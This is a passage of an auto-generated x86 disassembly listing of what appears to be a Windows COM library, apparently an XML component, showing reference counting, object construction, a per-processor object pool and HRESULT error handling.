call sub_69B39C17
mov [esi+34h], eax
loc_69B3B0D9: ; CODE XREF: sub_69B3B01F+A7j
; sub_69B3B01F+ACj
push dword ptr [esi+28h]
call sub_69B1B2B7
loc_69B3B0E1: ; CODE XREF: sub_69B3B01F+A3j
push ebx ; lpString
call sub_69B8AADD
cmp eax, edi
mov [esi+28h], eax
jnz short loc_69B3B0F5
mov [ebp+var_4], 8007000Eh
loc_69B3B0F5: ; CODE XREF: sub_69B3B01F+CDj
cmp [esi+34h], edi
jz short loc_69B3B129
mov ecx, [esi+18h]
cmp ecx, edi
jz short loc_69B3B118
call sub_69B3A112
cmp eax, 8000000Ah
jnz short loc_69B3B118
push dword ptr [esi+34h]
mov ecx, [esi+18h]
call sub_69B3A0F1
loc_69B3B118: ; CODE XREF: sub_69B3B01F+E0j
; sub_69B3B01F+ECj
cmp [esi+34h], edi
jge short loc_69B3B129
mov eax, [esi+20h]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov [ebp+var_4], eax
loc_69B3B129: ; CODE XREF: sub_69B3B01F+8Cj
; sub_69B3B01F+D9j ...
mov esi, [esi+1Ch]
cmp esi, edi
jz short loc_69B3B140
mov eax, [esi]
push ebx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword ptr [eax+18h]
loc_69B3B140: ; CODE XREF: sub_69B3B01F+10Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B3B01F endp
; =============== S U B R O U T I N E =======================================
sub_69B3B14A proc near ; DATA XREF: .text:69B277DCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
xor ebx, ebx
push ebx
lea eax, [esi+20h]
push eax
call sub_69B17320
mov edi, [esp+0Ch+arg_4]
test edi, edi
mov byte ptr [esi+24h], 1
jz short loc_69B3B18E
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3B18E
mov eax, [esi+34h]
test eax, eax
jz short loc_69B3B179
mov edi, eax
loc_69B3B179: ; CODE XREF: sub_69B3B14A+2Bj
call sub_69B3A112
cmp eax, 8000000Ah
jnz short loc_69B3B18E
mov ecx, [esi+18h]
push edi
call sub_69B3A0F1
loc_69B3B18E: ; CODE XREF: sub_69B3B14A+1Dj
; sub_69B3B14A+24j ...
mov eax, [esi+1Ch]
test eax, eax
jz short loc_69B3B1C5
push [esp+0Ch+arg_8]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+1Ch]
mov ebx, eax
test ebx, ebx
jge short loc_69B3B1C5
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B3B1B3
push ebx
call sub_69B3A0F1
loc_69B3B1B3: ; CODE XREF: sub_69B3B14A+61j
mov eax, ebx
sub eax, 8000000Ah
neg eax
sbb eax, eax
and eax, 80004004h
jmp short loc_69B3B1DE
; ---------------------------------------------------------------------------
loc_69B3B1C5: ; CODE XREF: sub_69B3B14A+49j
; sub_69B3B14A+5Aj
mov esi, [esi+18h]
test esi, esi
jz short loc_69B3B1DC
mov ecx, [esi+40h]
test ecx, ecx
jz short loc_69B3B1DC
mov eax, [ecx]
push 1
push esi
call dword ptr [eax]
mov ebx, eax
loc_69B3B1DC: ; CODE XREF: sub_69B3B14A+80j
; sub_69B3B14A+87j
mov eax, ebx
loc_69B3B1DE: ; CODE XREF: sub_69B3B14A+79j
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B3B14A endp
; =============== S U B R O U T I N E =======================================
sub_69B3B1E4 proc near ; CODE XREF: sub_69B3B210+5p
; sub_69B81864+3p
push esi
mov esi, ecx
push offset dword_69B3B200
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3B1E4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3B200 dd 79EAC9C1h, 11CEBAF9h, 0AA00828Ch, 0BA94B00h
; =============== S U B R O U T I N E =======================================
sub_69B3B210 proc near ; CODE XREF: sub_69B3A1A9+3Cp
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B3B1E4
mov edi, [esp+0Ch+arg_0]
mov dword ptr [esi], offset off_69B277C0
mov dword ptr [esi+4], offset off_69B277BC
mov dword ptr [esi+10h], offset off_69B277A8
mov dword ptr [esi+14h], offset off_69B27794
lea eax, [esi+18h]
xor ebx, ebx
mov [eax], ebx
push edi
mov [esi+1Ch], ebx
push eax
mov [esi+20h], ebx
call sub_69B17320
mov [esi+24h], bl
mov eax, [edi+28h]
push dword ptr [eax+8] ; lpString
call sub_69B8AADD
mov [esi+28h], eax
pop edi
mov [esi+30h], bl
mov [esi+34h], ebx
mov dword ptr [esi+2Ch], 1
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B3B210 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B273 proc near ; DATA XREF: .text:off_69B277A8o
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp sub_69B3A953
sub_69B3B273 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B27D proc near ; DATA XREF: .text:69B277ACo
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp sub_69B3A9F7
sub_69B3B27D endp
; =============== S U B R O U T I N E =======================================
sub_69B3B287 proc near ; DATA XREF: .text:69B277B0o
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp sub_69B3AA4A
sub_69B3B287 endp
; ---------------------------------------------------------------------------
loc_69B3B291: ; DATA XREF: .text:off_69B27794o
sub dword ptr [esp+4], 14h
jmp sub_69B3A953
; ---------------------------------------------------------------------------
loc_69B3B29B: ; DATA XREF: .text:69B27798o
sub dword ptr [esp+4], 14h
jmp sub_69B3A9F7
; ---------------------------------------------------------------------------
loc_69B3B2A5: ; DATA XREF: .text:69B2779Co
sub dword ptr [esp+4], 14h
jmp sub_69B3AA4A
; ---------------------------------------------------------------------------
loc_69B3B2AF: ; DATA XREF: .text:69B277A0o
sub dword ptr [esp+4], 14h
jmp sub_69B3AAE4
; =============== S U B R O U T I N E =======================================
sub_69B3B2B9 proc near ; CODE XREF: .text:69B3B316p
push ebx
push esi
mov esi, ecx
lea ecx, [esi-4]
push edi
mov dword ptr [ecx], offset off_69B277C0
mov dword ptr [esi], offset off_69B277BC
mov dword ptr [esi+0Ch], offset off_69B277A8
mov dword ptr [esi+10h], offset off_69B27794
call sub_69B3AF8C
push 0
lea edi, [esi+18h]
push edi
call sub_69B17320
push 0
lea ebx, [esi+1Ch]
push ebx
call sub_69B17320
push ebx
call sub_69B17230
push edi
call sub_69B17230
add esi, 14h
push esi
call sub_69B17230
pop edi
pop esi
pop ebx
jmp sub_69B2C65C
sub_69B3B2B9 endp
; ---------------------------------------------------------------------------
loc_69B3B313: ; DATA XREF: .text:off_69B277BCo
push esi
mov esi, ecx
call sub_69B3B2B9
test byte ptr [esp+8], 1
jz short loc_69B3B32B
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3B32B: ; CODE XREF: .text:69B3B320j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B3B332 proc near ; CODE XREF: sub_69B3B54A+2Fp
; sub_69B55773+5Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+4]
call sub_69B1A8C7
push 0
push [esp+8+arg_8]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B18B65
mov eax, esi
pop esi
retn 0Ch
sub_69B3B332 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B35C proc near ; DATA XREF: .data:69B984BCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
dec eax
dec eax
jz short loc_69B3B382
dec eax
jz short loc_69B3B370
mov eax, 80020003h
jmp short loc_69B3B3B2
; ---------------------------------------------------------------------------
loc_69B3B370: ; CODE XREF: sub_69B3B35C+Bj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+24h]
jmp short loc_69B3B3B2
; ---------------------------------------------------------------------------
loc_69B3B382: ; CODE XREF: sub_69B3B35C+8j
test [ebp+arg_C], 2
jz short loc_69B3B39A
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+20h]
jmp short loc_69B3B3B2
; ---------------------------------------------------------------------------
loc_69B3B39A: ; CODE XREF: sub_69B3B35C+2Aj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B3B3A8
mov eax, [eax]
loc_69B3B3A8: ; CODE XREF: sub_69B3B35C+48j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+1Ch]
loc_69B3B3B2: ; CODE XREF: sub_69B3B35C+12j
; sub_69B3B35C+24j ...
pop ebp
retn 18h
sub_69B3B35C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B3B6 proc near ; CODE XREF: sub_69B3B82A+15j
SystemInfo = _SYSTEM_INFO ptr -24h
push ebp
mov ebp, esp
sub esp, 24h
cmp dword_69B9B268, 0
push esi
mov esi, ecx
jnz short loc_69B3B3DC
lea eax, [ebp+SystemInfo]
push eax ; lpSystemInfo
call ds:GetSystemInfo ; GetSystemInfo
mov eax, [ebp+SystemInfo.dwNumberOfProcessors]
add eax, eax
mov dword_69B9B268, eax
loc_69B3B3DC: ; CODE XREF: sub_69B3B3B6+10j
and dword ptr [esi+6Ch], 0
mov eax, dword_69B9B268
shl eax, 2
push eax
call sub_69B1D897
mov [esi+68h], eax
pop esi
leave
retn
sub_69B3B3B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B3F4 proc near ; CODE XREF: sub_69B3BC4C+42p
mov eax, [ecx+68h]
test eax, eax
jz short locret_69B3B401
push eax
call sub_69B1B2B7
locret_69B3B401: ; CODE XREF: sub_69B3B3F4+5j
retn
sub_69B3B3F4 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B402 proc near ; CODE XREF: sub_69B3B8CA+B8p
; sub_69B3BC4C+3Bp
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+6Ch], edi
jle short loc_69B3B41F
loc_69B3B40D: ; CODE XREF: sub_69B3B402+1Bj
mov eax, [esi+68h]
mov eax, [eax+edi*4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
inc edi
cmp edi, [esi+6Ch]
jl short loc_69B3B40D
loc_69B3B41F: ; CODE XREF: sub_69B3B402+9j
and dword ptr [esi+6Ch], 0
pop edi
pop esi
retn
sub_69B3B402 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B426 proc near ; CODE XREF: sub_69B3B4D3+4Ap
; sub_69B3B8CA+C8p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+6Ch]
cmp eax, dword_69B9B268
jge short loc_69B3B453
push edi
mov edi, [esp+8+arg_0]
push 0
mov ecx, edi
call sub_69B46A32
mov eax, [esi+6Ch]
mov ecx, [esi+68h]
mov [ecx+eax*4], edi
inc dword ptr [esi+6Ch]
xor eax, eax
pop edi
jmp short loc_69B3B456
; ---------------------------------------------------------------------------
loc_69B3B453: ; CODE XREF: sub_69B3B426+Cj
xor eax, eax
inc eax
loc_69B3B456: ; CODE XREF: sub_69B3B426+2Bj
pop esi
retn 4
sub_69B3B426 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B45A proc near ; CODE XREF: sub_69B3B684+8Cp
mov eax, [ecx+6Ch]
test eax, eax
jle short loc_69B3B478
mov edx, [ecx+68h]
dec eax
push esi
mov [ecx+6Ch], eax
mov esi, [edx+eax*4]
push ecx
mov ecx, esi
call sub_69B46A32
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B3B478: ; CODE XREF: sub_69B3B45A+5j
xor eax, eax
retn
sub_69B3B45A endp
; =============== S U B R O U T I N E =======================================
sub_69B3B47B proc near ; CODE XREF: sub_69B473A7+21p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+0B4h]
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
retn 4
sub_69B3B47B endp
; =============== S U B R O U T I N E =======================================
sub_69B3B496 proc near ; CODE XREF: sub_69B3B8CA+E9p
; sub_69B3B8CA+12Ap ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+0B4h]
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
retn 4
sub_69B3B496 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B4B1 proc near ; CODE XREF: sub_69B3BC4C+51p
; sub_69B468EB+37p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B48A77
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0B4h]
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
retn 4
sub_69B3B4B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B4D3 proc near ; CODE XREF: sub_69B471C0+62p
var_10 = byte ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, ecx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B3B4F0
mov eax, 80004005h
jmp short loc_69B3B544
; ---------------------------------------------------------------------------
loc_69B3B4F0: ; CODE XREF: sub_69B3B4D3+14j
push edi
xor edi, edi
inc edi
push edi
lea ecx, [ebp+var_10]
call sub_69B11D3B
mov eax, [esi]
push esi
call dword ptr [eax+4]
lea eax, [esi+40h]
push eax
lea ecx, [ebp+var_4]
call sub_69B18E23
mov ecx, [esi+3Ch]
mov eax, [ebp+arg_0]
cmp ecx, [eax+34h]
jnz short loc_69B3B524
push eax
mov ecx, esi
call sub_69B3B426
mov edi, eax
loc_69B3B524: ; CODE XREF: sub_69B3B4D3+45j
lea ecx, [ebp+var_4]
call sub_69B1900C
mov eax, [esi]
push esi
call dword ptr [eax+8]
lea ecx, [ebp+var_10]
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, edi
pop edi
loc_69B3B544: ; CODE XREF: sub_69B3B4D3+1Bj
pop esi
pop ebx
leave
retn 4
sub_69B3B4D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B54A proc near ; CODE XREF: sub_69B3B8CA+77p
; sub_69B46CA6+1Bp
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_69B3B5AB
push edi
loc_69B3B559: ; CODE XREF: sub_69B3B54A+4Aj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push dwTlsIndex
mov edi, eax
call dword_69B92970
push edi
push [ebp+arg_4]
lea ecx, [ebp+var_10]
push eax
call sub_69B3B332
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
cmp edi, eax
jz short loc_69B3B596
lea ecx, [ebp+var_10]
call sub_69B18EBA
jmp short loc_69B3B559
; ---------------------------------------------------------------------------
loc_69B3B596: ; CODE XREF: sub_69B3B54A+40j
add eax, 0ACh
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
lea ecx, [ebp+var_10]
call sub_69B18EBA
pop edi
loc_69B3B5AB: ; CODE XREF: sub_69B3B54A+Cj
pop esi
leave
retn 8
sub_69B3B54A endp
; =============== S U B R O U T I N E =======================================
sub_69B3B5B0 proc near ; DATA XREF: .text:69B1F564o
push 28h
push offset dword_69B3B678
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B3B5D5
mov eax, 80004005h
jmp loc_69B3B66E
; ---------------------------------------------------------------------------
loc_69B3B5D5: ; CODE XREF: sub_69B3B5B0+19j
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B3B5FE
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B3B66E
; ---------------------------------------------------------------------------
loc_69B3B5FE: ; CODE XREF: sub_69B3B5B0+34j
mov esi, [ebp+8]
lea eax, [esi+40h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], ebx
mov eax, [esi+3Ch]
mov [ebp-30h], eax
cmp eax, ebx
jz short loc_69B3B620
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B3B620: ; CODE XREF: sub_69B3B5B0+68j
mov esi, [esi+3Ch]
mov [ebp-34h], esi
mov [edi], esi
mov [ebp-38h], ebx
jmp short loc_69B3B64E
; ---------------------------------------------------------------------------
loc_69B3B62D: ; DATA XREF: .text:69B3B67Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3B636: ; DATA XREF: .text:69B3B680o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
loc_69B3B64E: ; CODE XREF: sub_69B3B5B0+7Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B3B66E: ; CODE XREF: sub_69B3B5B0+20j
; sub_69B3B5B0+4Cj
call sub_69B1853C
retn 8
sub_69B3B5B0 endp
; ---------------------------------------------------------------------------
align 4
dword_69B3B678 dd 0FFFFFFFFh dd offset loc_69B3B62D
dd offset loc_69B3B636
; =============== S U B R O U T I N E =======================================
sub_69B3B684 proc near ; DATA XREF: .text:69B1F568o
push 2Ch
push offset dword_69B3B7B0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B3B6A9
mov eax, 80004005h
jmp loc_69B3B7A1
; ---------------------------------------------------------------------------
loc_69B3B6A9: ; CODE XREF: sub_69B3B684+19j
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov ebx, [ebp+0Ch]
cmp ebx, edi
jnz short loc_69B3B6D5
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp loc_69B3B7A1
; ---------------------------------------------------------------------------
loc_69B3B6D5: ; CODE XREF: sub_69B3B684+34j
mov esi, [ebp+8]
lea eax, [esi+40h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18E23
mov [ebp-30h], edi
mov [ebp-34h], edi
xor ecx, ecx
mov [ebp-4], ecx
mov [ebx], ecx
mov eax, [esi+3Ch]
mov [ebp-38h], eax
cmp eax, ecx
jnz short loc_69B3B70E
push ecx
push 0C00CE228h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B3B70E: ; CODE XREF: sub_69B3B684+75j
mov ecx, esi
call sub_69B3B45A
mov [ebp-30h], eax
test eax, eax
jnz short loc_69B3B73A
mov edi, [esi+3Ch]
mov [ebp-34h], edi
mov eax, [edi]
push edi
call dword ptr [eax+4]
lea ecx, [ebp-2Ch]
call sub_69B1900C
push edi
push esi
call sub_69B47BDC
mov [ebp-30h], eax
loc_69B3B73A: ; CODE XREF: sub_69B3B684+96j
mov [ebx], eax
and dword ptr [ebp-3Ch], 0
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3B77B
; ---------------------------------------------------------------------------
loc_69B3B746: ; DATA XREF: .text:69B3B7B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3B74F: ; DATA XREF: .text:69B3B7B8o
mov esp, [ebp-18h]
mov eax, [ebp-30h]
test eax, eax
jz short loc_69B3B75F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3B75F: ; CODE XREF: sub_69B3B684+D3j
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-34h]
loc_69B3B77B: ; CODE XREF: sub_69B3B684+C0j
test edi, edi
jz short loc_69B3B785
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B3B785: ; CODE XREF: sub_69B3B684+F9j
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B3B7A1: ; CODE XREF: sub_69B3B684+20j
; sub_69B3B684+4Cj
call sub_69B1853C
retn 8
sub_69B3B684 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3B7B0 dd 0FFFFFFFFh dd offset loc_69B3B746
dd offset loc_69B3B74F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B7BC proc near ; CODE XREF: sub_69B3B844+10p
; sub_69B3B844+54p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2B050
xor eax, eax
repe cmpsd
jnz short loc_69B3B7EB
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
add esi, 18h
mov [eax], esi
pop edi
xor eax, eax
pop esi
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B3B7EB: ; CODE XREF: sub_69B3B7BC+14j
pop edi
pop esi
pop ebp
jmp sub_69B4062A
sub_69B3B7BC endp
; =============== S U B R O U T I N E =======================================
sub_69B3B7F3 proc near ; CODE XREF: sub_69B89EAF+22p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
cmp [esp+4+arg_0], 0
jz short loc_69B3B826
push 1Ch
call sub_69B1D897
test eax, eax
jz short loc_69B3B822
push [esp+4+arg_0]
mov ecx, eax
push offset stru_69B1CA6C
call sub_69B881B2
jmp short loc_69B3B824
; ---------------------------------------------------------------------------
loc_69B3B822: ; CODE XREF: sub_69B3B7F3+1Bj
xor eax, eax
loc_69B3B824: ; CODE XREF: sub_69B3B7F3+2Dj
mov [esi], eax
loc_69B3B826: ; CODE XREF: sub_69B3B7F3+10j
pop esi
retn 4
sub_69B3B7F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B82A proc near ; CODE XREF: .text:69B3BBE1p
push esi
mov esi, ecx
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
and dword ptr [esi+68h], 0
mov ecx, esi
pop esi
jmp sub_69B3B3B6
sub_69B3B82A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3B844 proc near ; CODE XREF: sub_69B3BB4A+5j
; .text:69B3BB59j ...
punkOuter = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push ebx
call sub_69B3B7BC
mov esi, 80004002h
cmp eax, esi
mov [ebp+arg_0], eax
jnz short loc_69B3B8C1
push [ebp+arg_8]
lea eax, [ebx+34h]
push [ebp+arg_4]
push eax
call sub_69B88F8B
cmp eax, esi
mov [ebp+arg_0], eax
jnz short loc_69B3B8C1
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset dword_69B2B030
xor eax, eax
repe cmpsd
pop edi
jnz short loc_69B3B8C1
lea eax, [ebp+punkOuter]
push eax
push offset stru_69B1CA6C
push ebx
call sub_69B3B7BC
test eax, eax
mov [ebp+arg_0], eax
jl short loc_69B3B8C1
push [ebp+arg_8] ; int
lea ecx, [ebx+70h] ; ppunkMarshal
push [ebp+arg_4] ; int
push [ebp+punkOuter] ; punkOuter
call sub_69B88245
mov [ebp+arg_0], eax
mov eax, [ebp+punkOuter]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3B8C1: ; CODE XREF: sub_69B3B844+1Fj
; sub_69B3B844+35j ...
mov eax, [ebp+arg_0]
pop esi
pop ebx
leave
retn 0Ch
sub_69B3B844 endp
; =============== S U B R O U T I N E =======================================
sub_69B3B8CA proc near ; DATA XREF: .text:69B1F560o
push 38h
push offset dword_69B3BA28
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B3B8EF
mov eax, 80004005h
jmp loc_69B3BA1A
; ---------------------------------------------------------------------------
loc_69B3B8EF: ; CODE XREF: sub_69B3B8CA+19j
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-2Ch], edi
mov [ebp-30h], edi
mov byte ptr [ebp-31h], 0
mov [ebp-38h], edi
mov [ebp-4], edi
mov ebx, [ebp+0Ch]
cmp ebx, edi
jz short loc_69B3B959
push ebx
call sub_69B48A77
mov esi, eax
mov [ebp-30h], esi
cmp esi, edi
jz short loc_69B3B93E
mov ecx, esi
call sub_69B1B42A
cmp eax, 1
jz short loc_69B3B93E
push edi
push 0C00CE22Dh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B3B93E: ; CODE XREF: sub_69B3B8CA+53j
; sub_69B3B8CA+5Fj
push 1
push esi
call sub_69B3B54A
mov byte ptr [ebp-31h], 1
push ebx
mov esi, [ebp+8]
push esi
call sub_69B47BDC
mov [ebp-38h], eax
jmp short loc_69B3B95C
; ---------------------------------------------------------------------------
loc_69B3B959: ; CODE XREF: sub_69B3B8CA+44j
mov esi, [ebp+8]
loc_69B3B95C: ; CODE XREF: sub_69B3B8CA+8Dj
lea eax, [esi+40h]
push eax
lea ecx, [ebp-3Ch]
call sub_69B18E23
lea edi, [esi+3Ch]
mov eax, [edi]
mov [ebp-40h], eax
test eax, eax
jz short loc_69B3B980
mov [ebp-44h], eax
push eax
call sub_69B48A77
mov [ebp-2Ch], eax
loc_69B3B980: ; CODE XREF: sub_69B3B8CA+A8j
mov ecx, esi
call sub_69B3B402
cmp dword ptr [ebp-38h], 0
jz short loc_69B3B99E
push dword ptr [ebp-38h]
mov ecx, esi
call sub_69B3B426
test eax, eax
jnz short loc_69B3B99E
and [ebp-38h], eax
loc_69B3B99E: ; CODE XREF: sub_69B3B8CA+C1j
; sub_69B3B8CA+CFj
push ebx
mov ecx, edi
call sub_69B199CC
mov byte ptr [ebp-31h], 0
cmp dword ptr [ebp-2Ch], 0
jz short loc_69B3B9B8
push dword ptr [ebp-2Ch]
call sub_69B3B496
loc_69B3B9B8: ; CODE XREF: sub_69B3B8CA+E4j
and dword ptr [ebp-48h], 0
lea ecx, [ebp-3Ch]
call sub_69B1900C
jmp short loc_69B3B9E7
; ---------------------------------------------------------------------------
loc_69B3B9C6: ; DATA XREF: .text:69B3BA2Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3B9CF: ; DATA XREF: .text:69B3BA30o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-48h], eax
loc_69B3B9E7: ; CODE XREF: sub_69B3B8CA+FAj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp byte ptr [ebp-31h], 0
jz short loc_69B3B9F9
push dword ptr [ebp-30h]
call sub_69B3B496
loc_69B3B9F9: ; CODE XREF: sub_69B3B8CA+125j
mov eax, [ebp-38h]
test eax, eax
jz short loc_69B3BA06
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3BA06: ; CODE XREF: sub_69B3B8CA+134j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-48h]
loc_69B3BA1A: ; CODE XREF: sub_69B3B8CA+20j
call sub_69B1853C
retn 8
sub_69B3B8CA endp
; ---------------------------------------------------------------------------
align 8
dword_69B3BA28 dd 0FFFFFFFFh dd offset loc_69B3B9C6
dd offset loc_69B3B9CF
; =============== S U B R O U T I N E =======================================
sub_69B3BA34 proc near ; CODE XREF: sub_69B3BA77+4p
push esi
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B9849C
push off_69B984A0
lea ecx, [esi+0Ch]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3BA34 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BA55 proc near ; CODE XREF: sub_69B3BC4C+7Ep
; sub_69B3CD5C+60p ...
push esi
mov esi, ecx
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
lea eax, [esi+4]
push 0
push eax
call sub_69B17320
pop esi
retn
sub_69B3BA55 endp
; =============== S U B R O U T I N E =======================================
sub_69B3BA77 proc near ; CODE XREF: .text:69B3BBD1p
push esi
push edi
mov esi, ecx
call sub_69B3BA34
lea edi, [esi+1Ch]
mov ecx, edi
call sub_69B1D6CD
push 100h
mov dword ptr [esi], offset off_69B1F544
mov dword ptr [esi+4], offset off_69B278D4
mov dword ptr [esi+0Ch], offset off_69B278D0
mov dword ptr [esi+18h], offset off_69B27894
